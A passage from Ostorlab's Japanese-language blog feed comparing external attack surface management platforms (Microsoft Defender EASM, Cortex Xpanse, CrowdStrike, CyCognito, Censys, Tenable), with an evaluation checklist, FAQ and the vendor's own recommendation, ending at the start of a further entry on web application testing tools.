&lt;p&gt;Defender EASMはアセットをインベントリの状態ごとに整理し、承認済みのアセット、候補として検出されたもの、依存関係、除外されたインフラをチームが区別できるようにしています。また、外部から見える状態を特定するためのダッシュボードとAttack Surface Insightsも提供しています。&lt;/p&gt;
&lt;p&gt;Microsoftは、アセットの記録とアタックサーフェスのインサイトをエクスポートするためのデータ接続を文書化しています。Defender EASMは、Microsoft Security Exposure ManagementやDefender for Cloudのワークフローに外部視点のコンテキストを提供することもできます。&lt;/p&gt;
&lt;p&gt;このプラットフォームは、すでにAzureとMicrosoftのセキュリティエコシステムを広く活用している組織にとって特に適しています。ただし、EASMによる検出と完全な脆弱性の検証は別々の機能であるため、購入者は、どのエクスポージャーが外部から観測されたもので、どれがMicrosoftの他の機能を通じて能動的にテストされたものかを明確にする必要があります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：Azureのリソースと課金の要件、課金対象アセットの算定方法、データ保持、データのエクスポートの選択肢、Microsoft Security Exposure Managementとの連携、疑わしい脆弱性を検証するためのワークフローを確認します。&lt;/p&gt;
&lt;h3 id="palo alto networks cortex xpanse"&gt;Palo Alto Networks Cortex Xpanse&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重点領域&lt;/strong&gt;：インターネット規模の継続的な検出、機械支援による帰属判定、エクスポージャーの検出、Active Responseによる自動化された修復プレイブック。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.paloaltonetworks.com/cortex/cortex-xpanse" rel="noopener noreferrer" target="_blank"&gt;Palo Alto Networks Cortex Xpanse&lt;/a&gt;は、インターネット規模の継続的な検出、機械支援による帰属判定、エクスポージャーの検出、対応を中心に構築された、能動的なアタックサーフェス管理プラットフォームです。&lt;/p&gt;
&lt;p&gt;Palo Alto Networksによると、Xpanseはパブリックインターネットを継続的にスキャンし、接続されたシステムと露出したサービスを特定します。教師あり機械学習モデルがアセットを組織に対応付け、修復の優先順位付けを支援します。&lt;/p&gt;
&lt;p&gt;Xpanseは、アタックサーフェスのルールを用いて、露出したサービスや脆弱なソフトウェアといった状態を特定します。検出されたインフラがルールで定義された条件に一致すると、プラットフォームはアラートを作成します。&lt;/p&gt;
&lt;p&gt;この製品は、シャドークラウド、M&amp;amp;Aの評価、サードパーティのエクスポージャー、ランサムウェアの侵入口、新たに公開された脆弱性の迅速な調査といったユースケースにも対応しています。&lt;/p&gt;
&lt;p&gt;Cortex Xpanseは、Active Responseによる組み込みの対応プレイブックを文書化しています。ただし、Active Responseはアドオンとして説明されているため、購入者は自動化された修復がすべてのXpanseパッケージに含まれていると想定すべきではありません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：購入するXpanseのモジュール、Active Responseの利用権、インターネットスキャンの頻度、帰属判定のレビューワークフロー、対応している修復プレイブック、組織で導入済みのPalo Alto Networks製品との連携を確認します。&lt;/p&gt;
&lt;h3 id="crowdstrike falcon exposure management"&gt;CrowdStrike Falcon Exposure Management&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重点領域&lt;/strong&gt;：外部視点でのアセット検出と、攻撃者に関するインテリジェンス、ExPRT.AIによる優先順位付け、統合されたFalconプラットフォームのコンテキストの組み合わせ。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.crowdstrike.com/en-us/platform/exposure-management/easm/" rel="noopener noreferrer" target="_blank"&gt;CrowdStrike EASM&lt;/a&gt;は、より広いFalcon Exposure Management製品群の中で提供されています。&lt;/p&gt;
&lt;p&gt;この製品は、インターネットに公開されたインフラを継続的にマッピングし、既知および未知の外部アセットを特定し、インベントリの変化を追跡し、攻撃者と脆弱性に関するインテリジェンスを適用してエクスポージャーの優先順位付けを行います。&lt;/p&gt;
&lt;p&gt;CrowdStrikeは、EASM、脅威インテリジェンス、ITハイジーン、脆弱性管理、その他のFalconプラットフォームの機能の間の連携を文書化しています。同社のExPRT.AIレーティングは、CrowdStrikeの脅威と攻撃者に関するコンテキストを用いて、脆弱性のエクスポージャーの優先順位付けに使われます。&lt;/p&gt;
&lt;p&gt;このより広いプラットフォームモデルは、外部視点での検出をエンドポイントや脆弱性のテレメトリと相関させたい組織にとって有用です。それでも購入者は、インターネットの外部観測だけで機能するものと、Falconエージェント、追加モジュール、または社内のデータソースに依存するものとを区別する必要があります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：EASM、脆弱性管理、攻撃経路、エンドポイント、脅威インテリジェンスのうち、どの機能が提案されたパッケージに含まれるかを確認します。また、各機能がエージェントレスなのか、エージェント支援型なのか、他のFalconモジュールに依存するのかも確認します。&lt;/p&gt;
&lt;h3 id="cycognito"&gt;CyCognito&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重点領域&lt;/strong&gt;：外部視点での自律的なアセット検出、ビジネスコンテキストのマッピング、継続的かつ能動的な悪用可能性のテスト。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.cycognito.com/platform/attack-surface-management.php" rel="noopener noreferrer" target="_blank"&gt;CyCognito Attack Surface Management&lt;/a&gt;は、外部アセットを検出し、それをビジネスコンテキストに対応付け、セキュリティ上の弱点がないかをテストし、確認されたリスクを優先順位付けすることに重点を置いています。&lt;/p&gt;
&lt;p&gt;CyCognitoは、完全な初期インベントリを必要とせずにアセットを特定できるよう設計された、攻撃者の視点に立った検出モデルを文書化しています。このプラットフォームは外部アセットのグラフを構築し、アセットを組織に帰属させ、そのビジネス上の用途を分類します。&lt;/p&gt;
&lt;p&gt;CyCognitoの打ち出し方の中心にあるのが、能動的な検証です。同社によると、このプラットフォームは複数のセキュリティカテゴリにわたって外部アセットをテストし、外部から発見可能で、攻撃者にとって魅力的で、悪用可能であることが検証されたエクスポージャーを優先します。&lt;/p&gt;
&lt;p&gt;このモデルは推測に基づくリスクへの依存を減らせる一方で、テストの透明性と運用上の安全性が特に重要になります。顧客は、どのテストが実行されるのか、認証の境界がどのように扱われるのか、悪用可能性の結論をどのようなエビデンスが裏付けているのかを正確に理解しておく必要があります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：能動的なテストに関する許可と安全のモデル、対応しているアセットタイプ、認証が必要なアプリケーションのカバレッジ、帰属判定のレビュー制御、エビデンスの質、チケット管理システムおよび脆弱性管理システムとの連携を確認します。&lt;/p&gt;
&lt;h3 id="censys attack surface management"&gt;Censys Attack Surface Management&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重点領域&lt;/strong&gt;：全65,535ポートにわたるインターネット全体の網羅的なスキャン、精度の高いサービスインテリジェンス、過去のエクスポージャーのマッピング。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://censys.com/product/attack-surface-management/" rel="noopener noreferrer" target="_blank"&gt;Censys Attack Surface Management&lt;/a&gt;は、Censysのインターネット全体のマッピングとサービス観測のインフラの上に構築されています。&lt;/p&gt;
&lt;p&gt;Censysは、全65,535ポートにわたるスキャンによって、インターネットに公開されたホスト、サービス、証明書、エクスポージャーを特定することを文書化しています。これらは、検出が主にDNSレコードや一般的なポートのスキャンに依存している場合には見落とされる可能性があるものです。&lt;/p&gt;
&lt;p&gt;このプラットフォームは組織のシードデータから出発し、関係性のエビデンスが帰属判定の信頼度のしきい値を超えると、アタックサーフェスを拡張します。検出経路により、アナリストは候補アセットが既知の組織のアセットとどのように結び付けられたのかを確認できます。&lt;/p&gt;
&lt;p&gt;Censysはまた、過去のインターネットデータを保持し、セキュリティツールと連携することで、チームが特定されたエクスポージャーを調査し対処できるようにしています。&lt;/p&gt;
&lt;p&gt;この製品の中核的な強みは、インターネットの可視性とアセットのインテリジェンスです。それでも購入者は、観測されたエクスポージャー、ソフトウェアの推測、オンデマンドの検証、そして完全な脆弱性テストやアプリケーションセキュリティテストを区別する必要があります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：関連するプロトコルのスキャン頻度、IPv6とクラウドのカバレッジ、帰属判定のしきい値、過去データの保持期間、能動的な検証の機能、APIの制限、利用可能な修復関連の連携を確認します。&lt;/p&gt;
&lt;h3 id="tenable one attack surface management"&gt;Tenable One Attack Surface Management&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重点領域&lt;/strong&gt;：Tenableの脆弱性管理、エクスポージャーのスコアリング、評価ワークフローと直接統合された、外部視点でのアセットのマッピング。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.tenable.com/products/attack-surface-management" rel="noopener noreferrer" target="_blank"&gt;Tenable One Attack Surface Management&lt;/a&gt;は、インターネットに公開されたアセットを継続的にマッピングし、それらをより広いTenable Oneプラットフォーム内の脆弱性とエクスポージャーの情報と結び付けます。&lt;/p&gt;
&lt;p&gt;この製品は、ドメインと関連するインターネット上のアセットを特定し、変化を監視し、検出したシステムにコンテキストを示すメタデータを付与します。Tenableは、未評価の外部アセットをスキャンに回し、アタックサーフェスの情報を他のTenableのエクスポージャーデータと組み合わせる機能を文書化しています。&lt;/p&gt;
&lt;p&gt;この統合は、すでにTenable Vulnerability ManagementやTenable Oneを利用している組織に適しています。外部の検出によって管理対象のインベントリに含まれていなかったシステムを特定することで、脆弱性管理プログラムのスコープを広げられます。&lt;/p&gt;
&lt;p&gt;購入者は、Tenable Attack Surface Managementと隣接するTenable製品との境界がどこにあるのかを確認する必要があります。検出、脆弱性評価、Webアプリケーションテスト、クラウドのコンテキスト、統合されたエクスポージャースコアリングには、それぞれ別の技術要件やライセンス要件がある場合があります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：どのTenable Oneコンポーネントが必要か、検出したアセットがどのようにライセンスされるか、どのスキャンエンジンがそれらを評価するか、外部の記録が既存のアセットとどのように重複排除されるか、修復状況がどのように検証されるかを確認します。&lt;/p&gt;
&lt;h2 id="信頼できるeasmの価値実証(pov)を実施する方法"&gt;信頼できるEASMの価値実証（PoV）を実施する方法&lt;/h2&gt;
&lt;p&gt;EASMの価値実証では、スクリーンショットやベンダーが提示するアセット数を比べるのではなく、運用サイクル全体をテストする必要があります。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;評価領域&lt;/th&gt;
&lt;th style="text-align: left;"&gt;検証手順&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;シードへの依存度&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;メインドメインと社名だけを提供し、プラットフォームがどの有効な未知のアセットを検出するかを記録する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;帰属判定の質&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;確認済み、候補、依存、除外の各アセットからサンプルを選んでレビューし、それぞれの関係性を裏付けるエビデンスを調べる。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;子会社の検出&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;買収した企業、地域ブランド、または所有の経緯が複雑な部分的に独立した子会社を含める。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;クラウドの検出&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;CMDBに存在しない一時的なホスト、クラウドサービス、ストレージのエンドポイント、開発環境をプラットフォームが見つけられるかをテストする。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;サービスのカバレッジ&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;標準ポートと非標準ポートにわたる検出結果を比較し、観測されたサービスデータの鮮度を調べる。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;エクスポージャーの検証&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;優先度の高いエクスポージャーをいくつか選び、それぞれが推測されたものか、安全に検証されたものか、能動的にテストされたものか、別の製品で確認されたものかを判定する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;変化の監視&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;許可された一時的なテスト用アセットを作成または公開し、その構成を変更して、プラットフォームが両方のイベントをどれだけ早く検知するかを測定する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;所有者のワークフロー&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;エクスポージャーを担当チームに割り当て、エビデンス、アセットのコンテキスト、修復の指示が引き継ぎ後も失われないことを確認する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;修正の検証&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;テスト用のエクスポージャーを修正し、プラットフォームがその変化を検知して、検出結果を適切にクローズまたは更新することを確認する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;APIとエクスポート&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;アセット、関係性、検出結果、所有者、ステータスのデータを、組織の運用システムにエクスポートする。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;信頼できる価値実証は、次の5つの問いに答えるものでなければなりません。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;組織がまだ把握していなかったもので、プラットフォームは何を検出したか。&lt;/li&gt;
&lt;li&gt;それらのアセットをどれだけ正確に帰属判定したか。&lt;/li&gt;
&lt;li&gt;重大な意味を持つエクスポージャーはどれだったか。&lt;/li&gt;
&lt;li&gt;エクスポージャーが実在することを、どのようなエビデンスが示したか。&lt;/li&gt;
&lt;li&gt;ワークフローは、担当チームがそれらを修復し検証するのに役立ったか。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="よくある質問"&gt;よくある質問&lt;/h2&gt;
&lt;h3 id="最適な外部アタックサーフェス管理プラットフォームはどれか"&gt;最適な外部アタックサーフェス管理プラットフォームはどれか&lt;/h3&gt;
&lt;p&gt;この比較で評価したEASMプラットフォームは、Ostorlab、Microsoft Defender EASM、Palo Alto Networks Cortex Xpanse、CrowdStrike Falcon Exposure Management、CyCognito、Censys Attack Surface Management、Tenable One Attack Surface Managementです。これらは、検出の手法、帰属判定、能動的な検証、脅威のコンテキスト、修復、エコシステム連携の点で異なります。&lt;/p&gt;
&lt;h3 id="外部アタックサーフェス管理とは何か"&gt;外部アタックサーフェス管理とは何か&lt;/h3&gt;
&lt;p&gt;外部アタックサーフェス管理とは、組織のインターネットに公開されたアセットを、外部からの視点で継続的に検出、帰属判定、評価、監視することです。未知のインフラ、シャドーIT、露出したサービス、構成上の弱点、その他外部から観測可能なリスクの特定に役立ちます。&lt;/p&gt;
&lt;h3 id="easmプラットフォームはどのようなアセットを検出できるか"&gt;EASMプラットフォームはどのようなアセットを検出できるか&lt;/h3&gt;
&lt;p&gt;EASMプラットフォームは、ドメイン、サブドメイン、パブリックIPアドレス、ネットワーク範囲、ASN、Webアプリケーション、API、モバイルアプリケーション、証明書、DNSインフラ、クラウドサービス、ストレージのエンドポイント、その他組織に関連するインターネットからアクセス可能なアセットを検出できます。&lt;/p&gt;
&lt;h3 id="easmはどのように未知のアセットを検出するのか"&gt;EASMはどのように未知のアセットを検出するのか&lt;/h3&gt;
&lt;p&gt;EASMプラットフォームは、ドメイン、社名、IP範囲、クラウドの情報といった組織の識別情報から出発し、技術的およびコンテキスト上の関係性をたどって範囲を広げます。こうした関係性には、DNSレコード、証明書、登録データ、ホスティングインフラ、関連するサービス、ブランディング、観測されたインターネット上の活動が含まれます。&lt;/p&gt;
&lt;h3 id="easmと脆弱性管理の違いは何か"&gt;EASMと脆弱性管理の違いは何か&lt;/h3&gt;
&lt;p&gt;EASMは、管理対象のインベントリに現れないシステムも含め、インターネットに公開されたアセットを組織の外部から特定します。脆弱性管理は主に、すでに登録されているか、スキャン対象として提供された既知のアセットを評価します。&lt;/p&gt;
&lt;h3 id="easmとcaasmの違いは何か"&gt;EASMとCAASMの違いは何か&lt;/h3&gt;
&lt;p&gt;EASMは外部からのインターネット観測によってアセットを検出するのに対し、CAASMは社内のセキュリティ、クラウド、アイデンティティ、IT管理の各システムからアセット情報を集約し相関させます。この2つのアプローチは、外部からの可視性と社内の記録を突き合わせることで、互いを補完できます。&lt;/p&gt;
&lt;h3 id="easmは脆弱性を能動的にテストするのか"&gt;EASMは脆弱性を能動的にテストするのか&lt;/h3&gt;
&lt;p&gt;セキュリティ上のエクスポージャーを能動的にテストまたは検証するEASMプラットフォームもあれば、検出、フィンガープリンティング、外部のインテリジェンスに重点を置くものもあります。購入者は、各検出結果が推測されたものか、受動的に観測されたものか、安全に検証されたものか、能動的に悪用されたものかを見極める必要があります。&lt;/p&gt;
&lt;h3 id="easmにエージェントは必要か"&gt;EASMにエージェントは必要か&lt;/h3&gt;
&lt;p&gt;EASMの中核となる検出は、パブリックインターネットからアセットを観測するため、一般にエージェントレスです。より広いエクスポージャー管理の機能では、エンドポイント、クラウド、脆弱性、ビジネスのコンテキストを追加するために、エージェントや社内連携を用いる場合があります。&lt;/p&gt;
&lt;h3 id="easmでシャドーitを見つけられるか"&gt;EASMでシャドーITを見つけられるか&lt;/h3&gt;
&lt;p&gt;はい。承認済みのインベントリに含まれていない、外部からアクセス可能なインフラを見つけることは、EASMの主要なユースケースです。これには、忘れられたドメイン、一時的なクラウドシステム、開発環境、買収により取得したインフラ、通常のガバナンスプロセスの外でデプロイされたサービスが含まれます。&lt;/p&gt;
&lt;h3 id="外部アタックサーフェスはどのくらいの頻度で監視すべきか"&gt;外部アタックサーフェスはどのくらいの頻度で監視すべきか&lt;/h3&gt;
&lt;p&gt;インターネットに公開されたアセットとその構成は頻繁に変化するため、外部アタックサーフェスは継続的に監視すべきです。組織はリスクに基づいてアラートのしきい値を定め、重大なエクスポージャーには対応しつつ、不要な運用上のノイズを生まないようにする必要があります。&lt;/p&gt;
&lt;h3 id="組織はeasmプラットフォームをどのように比較すべきか"&gt;組織はEASMプラットフォームをどのように比較すべきか&lt;/h3&gt;
&lt;p&gt;組織は、同じ限られたシードデータ、帰属判定のサンプル、テスト用のエクスポージャー、子会社、クラウド環境、修復ワークフローを用いてEASMプラットフォームを比較すべきです。評価では、有効な未知のアセットの検出、帰属判定の精度、エビデンスの質、優先順位付け、所有者の管理、修正の検証を測定する必要があります。&lt;/p&gt;
&lt;h3 id="easmはペンテストに取って代わるのか"&gt;EASMはペンテストに取って代わるのか&lt;/h3&gt;
&lt;p&gt;いいえ。EASMはインターネットに公開された広範なエクスポージャーを継続的に検出・監視するのに対し、ペンテストは許可されたスコープの中でより深い調査を行います。EASMは、アプリケーションテスト、エクスプロイトの検証、あるいは焦点を絞ったペンテストに値する対象を特定し、優先順位付けできます。&lt;/p&gt;
&lt;h2 id="ostorlabからの最終的な推奨"&gt;Ostorlabからの最終的な推奨&lt;/h2&gt;
&lt;p&gt;最も価値のあるEASMプラットフォームは、必ずしも最も多くのアセットを返すものではありません。組織が検出、帰属判定、セキュリティ評価、所有者の明確化、修復、検証を着実に進められるよう支援するものです。&lt;/p&gt;
&lt;p&gt;Ostorlabは、これらの段階を一つのアプリケーションセキュリティプラットフォーム内で結び付けることで、差別化されたアプローチを提供します。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;エージェント型の検出&lt;/strong&gt;：組織の説明を、候補となるドメイン、サブドメイン、クラウドリソース、モバイルアプリケーション、SaaSの公開面、関連するエンティティへと変換できます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;人間による確認の制御&lt;/strong&gt;：提案されたアセットが管理対象のアタックサーフェスに登録される前に、アナリストがそれを確認または除外できます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;能動的なセキュリティテスト&lt;/strong&gt;：検出したアセットを、Web、API、ネットワーク、モバイル、ソースコード、複数アセットのスキャン機能と結び付けます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;脅威に基づくコンテキスト&lt;/strong&gt;：新たに悪用された脆弱性や更新された技術のフィンガープリントに関連するアセットを、チームが特定するのに役立ちます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;修復ワークフロー&lt;/strong&gt;：エビデンスを、アセットの所有者、自動化ルール、チケット管理、監視、再スキャンと結び付けます。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;EASMを単なる外部インベントリ以上のものとして評価している組織にとって、決め手となる問いは次のとおりです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;そのプラットフォームは、未知のアセットを検出し、それがなぜ組織に属するのかを実証し、何が露出しているのかを明らかにし、担当チームがリスクの解消を検証できるよう支援できるか。&lt;/strong&gt;&lt;/p&gt;
&lt;script type="application/ld+json"&gt;
{
  "@context": "https://schema.org",
  "@graph": [
    {
      "@type": "TechArticle",
      "@id": "https://blog.ostorlab.co/best-external-attack-surface-management-platforms-2026.html#article",
      "url": "https://blog.ostorlab.co/best-external-attack-surface-management-platforms-2026.html",
      "mainEntityOfPage": "https://blog.ostorlab.co/best-external-attack-surface-management-platforms-2026.html",
      "headline": "2026年の外部アタックサーフェス管理（EASM）プラットフォームのベスト",
      "description": "Ostorlab、Microsoft Defender EASM、Cortex Xpanse、CrowdStrike Falcon Exposure Management、CyCognito、Censys、Tenableなど、2026年の主要な外部アタックサーフェス管理プラットフォームを比較します。",
      "datePublished": "2026-09-11T10:00:00Z",
      "dateModified": "2026-09-11T10:00:00Z",
      "inLanguage": "ja",
      "author": {
        "@type": "Person",
        "name": "Abir Jelti"
      },
      "publisher": {
        "@type": "Organization",
        "name": "Ostorlab",
        "url": "https://ostorlab.co/"
      },
      "image": "https://blog.ostorlab.co/static/img/2026-09-11_easm_platforms/cover.png",
      "about": [
        "外部アタックサーフェス管理",
        "EASM",
        "アタックサーフェス管理",
        "エクスポージャー管理",
        "シャドーIT"
      ]
    },
    {
      "@type": "ItemList",
      "@id": "https://blog.ostorlab.co/best-external-attack-surface-management-platforms-2026.html#platforms",
      "name": "2026年に評価した外部アタックサーフェス管理プラットフォーム",
      "description": "Ostorlabが公開したこの比較で評価したEASMプラットフォーム。順序は記事の構成を反映したものであり、客観的な市場ランキングではありません。",
      "numberOfItems": 7,
      "itemListElement": [
        {
          "@type": "ListItem",
          "position": 1,
          "name": "Ostorlab",
          "url": "https://docs.ostorlab.co/attacksurface/automated_discovery.html"
        },
        {
          "@type": "ListItem",
          "position": 2,
          "name": "Microsoft Defender External Attack Surface Management",
          "url": "https://learn.microsoft.com/en-us/azure/external-attack-surface-management/"
        },
        {
          "@type": "ListItem",
          "position": 3,
          "name": "Palo Alto Networks Cortex Xpanse",
          "url": "https://www.paloaltonetworks.com/cortex/cortex-xpanse"
        },
        {
          "@type": "ListItem",
          "position": 4,
          "name": "CrowdStrike Falcon Exposure Management",
          "url": "https://www.crowdstrike.com/en-us/platform/exposure-management/easm/"
        },
        {
          "@type": "ListItem",
          "position": 5,
          "name": "CyCognito",
          "url": "https://www.cycognito.com/platform/attack-surface-management.php"
        },
        {
          "@type": "ListItem",
          "position": 6,
          "name": "Censys Attack Surface Management",
          "url": "https://censys.com/product/attack-surface-management/"
        },
        {
          "@type": "ListItem",
          "position": 7,
          "name": "Tenable One Attack Surface Management",
          "url": "https://www.tenable.com/products/attack-surface-management"
        }
      ]
    },
    {
      "@type": "FAQPage",
      "@id": "https://blog.ostorlab.co/best-external-attack-surface-management-platforms-2026.html#faq",
      "mainEntity": [
        {
          "@type": "Question",
          "name": "最適な外部アタックサーフェス管理プラットフォームはどれか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "この比較で評価したEASMプラットフォームは、Ostorlab、Microsoft Defender EASM、Palo Alto Networks Cortex Xpanse、CrowdStrike Falcon Exposure Management、CyCognito、Censys Attack Surface Management、Tenable One Attack Surface Managementです。これらは、検出の手法、帰属判定、能動的な検証、脅威のコンテキスト、修復、エコシステム連携の点で異なります。"
          }
        },
        {
          "@type": "Question",
          "name": "外部アタックサーフェス管理とは何か",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "外部アタックサーフェス管理とは、組織のインターネットに公開されたアセットを、外部からの視点で継続的に検出、帰属判定、評価、監視することです。未知のインフラ、シャドーIT、露出したサービス、構成上の弱点、その他外部から観測可能なリスクの特定に役立ちます。"
          }
        },
        {
          "@type": "Question",
          "name": "EASMプラットフォームはどのようなアセットを検出できるか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "EASMプラットフォームは、ドメイン、サブドメイン、パブリックIPアドレス、ネットワーク範囲、ASN、Webアプリケーション、API、モバイルアプリケーション、証明書、DNSインフラ、クラウドサービス、ストレージのエンドポイント、その他組織に関連するインターネットからアクセス可能なアセットを検出できます。"
          }
        },
        {
          "@type": "Question",
          "name": "EASMはどのように未知のアセットを検出するのか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "EASMプラットフォームは、ドメイン、社名、IP範囲、クラウドの情報といった組織の識別情報から出発し、技術的およびコンテキスト上の関係性をたどって範囲を広げます。こうした関係性には、DNSレコード、証明書、登録データ、ホスティングインフラ、関連するサービス、ブランディング、観測されたインターネット上の活動が含まれます。"
          }
        },
        {
          "@type": "Question",
          "name": "EASMと脆弱性管理の違いは何か",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "EASMは、管理対象のインベントリに現れないシステムも含め、インターネットに公開されたアセットを組織の外部から特定します。脆弱性管理は主に、すでに登録されているか、スキャン対象として提供された既知のアセットを評価します。"
          }
        },
        {
          "@type": "Question",
          "name": "EASMとCAASMの違いは何か",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "EASMは外部からのインターネット観測によってアセットを検出するのに対し、CAASMは社内のセキュリティ、クラウド、アイデンティティ、IT管理の各システムからアセット情報を集約し相関させます。この2つのアプローチは、外部からの可視性と社内の記録を突き合わせることで、互いを補完できます。"
          }
        },
        {
          "@type": "Question",
          "name": "EASMは脆弱性を能動的にテストするのか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "セキュリティ上のエクスポージャーを能動的にテストまたは検証するEASMプラットフォームもあれば、検出、フィンガープリンティング、外部のインテリジェンスに重点を置くものもあります。購入者は、各検出結果が推測されたものか、受動的に観測されたものか、安全に検証されたものか、能動的に悪用されたものかを見極める必要があります。"
          }
        },
        {
          "@type": "Question",
          "name": "EASMにエージェントは必要か",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "EASMの中核となる検出は、パブリックインターネットからアセットを観測するため、一般にエージェントレスです。より広いエクスポージャー管理の機能では、エンドポイント、クラウド、脆弱性、ビジネスのコンテキストを追加するために、エージェントや社内連携を用いる場合があります。"
          }
        },
        {
          "@type": "Question",
          "name": "EASMでシャドーITを見つけられるか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "はい。承認済みのインベントリに含まれていない、外部からアクセス可能なインフラを見つけることは、EASMの主要なユースケースです。これには、忘れられたドメイン、一時的なクラウドシステム、開発環境、買収により取得したインフラ、通常のガバナンスプロセスの外でデプロイされたサービスが含まれます。"
          }
        },
        {
          "@type": "Question",
          "name": "外部アタックサーフェスはどのくらいの頻度で監視すべきか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "インターネットに公開されたアセットとその構成は頻繁に変化するため、外部アタックサーフェスは継続的に監視すべきです。組織はリスクに基づいてアラートのしきい値を定め、重大なエクスポージャーには対応しつつ、不要な運用上のノイズを生まないようにする必要があります。"
          }
        },
        {
          "@type": "Question",
          "name": "組織はEASMプラットフォームをどのように比較すべきか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "組織は、同じ限られたシードデータ、帰属判定のサンプル、テスト用のエクスポージャー、子会社、クラウド環境、修復ワークフローを用いてEASMプラットフォームを比較すべきです。評価では、有効な未知のアセットの検出、帰属判定の精度、エビデンスの質、優先順位付け、所有者の管理、修正の検証を測定する必要があります。"
          }
        },
        {
          "@type": "Question",
          "name": "EASMはペンテストに取って代わるのか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "いいえ。EASMはインターネットに公開された広範なエクスポージャーを継続的に検出・監視するのに対し、ペンテストは許可されたスコープの中でより深い調査を行います。EASMは、アプリケーションテスト、エクスプロイトの検証、あるいは焦点を絞ったペンテストに値する対象を特定し、優先順位付けできます。"
          }
        }
      ]
    }
  ]
}
&lt;/script&gt;</content><category term="Product"/><category term="external attack surface management"/><category term="EASM"/><category term="attack surface management"/><category term="exposure management"/></entry><entry><title>2026年のおすすめWebアプリケーションセキュリティテストツール</title><link href="https://blog.ostorlab.co/ja/best-web-application-security-testing-tools-2026.html" rel="alternate"/><published>2026-09-11T10:00:00+02:00</published><updated>2026-09-11T10:00:00+02:00</updated><author><name>Abir Jelti</name></author><id>tag:blog.ostorlab.co,2026-09-11:/ja/best-web-application-security-testing-tools-2026.html</id><summary type="html">&lt;p&gt;Ostorlab、Burp Suite DAST、Invicti、InsightAppSec、AppScan、XBOW、OWASP ZAPを比較し、DASTで十分な場合とエージェント型ペンテストが必要な場合を解説します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;この2026年版の比較で評価するWebアプリケーションセキュリティテストツールは、&lt;strong&gt;Ostorlab&lt;/strong&gt;、&lt;strong&gt;PortSwigger Burp Suite 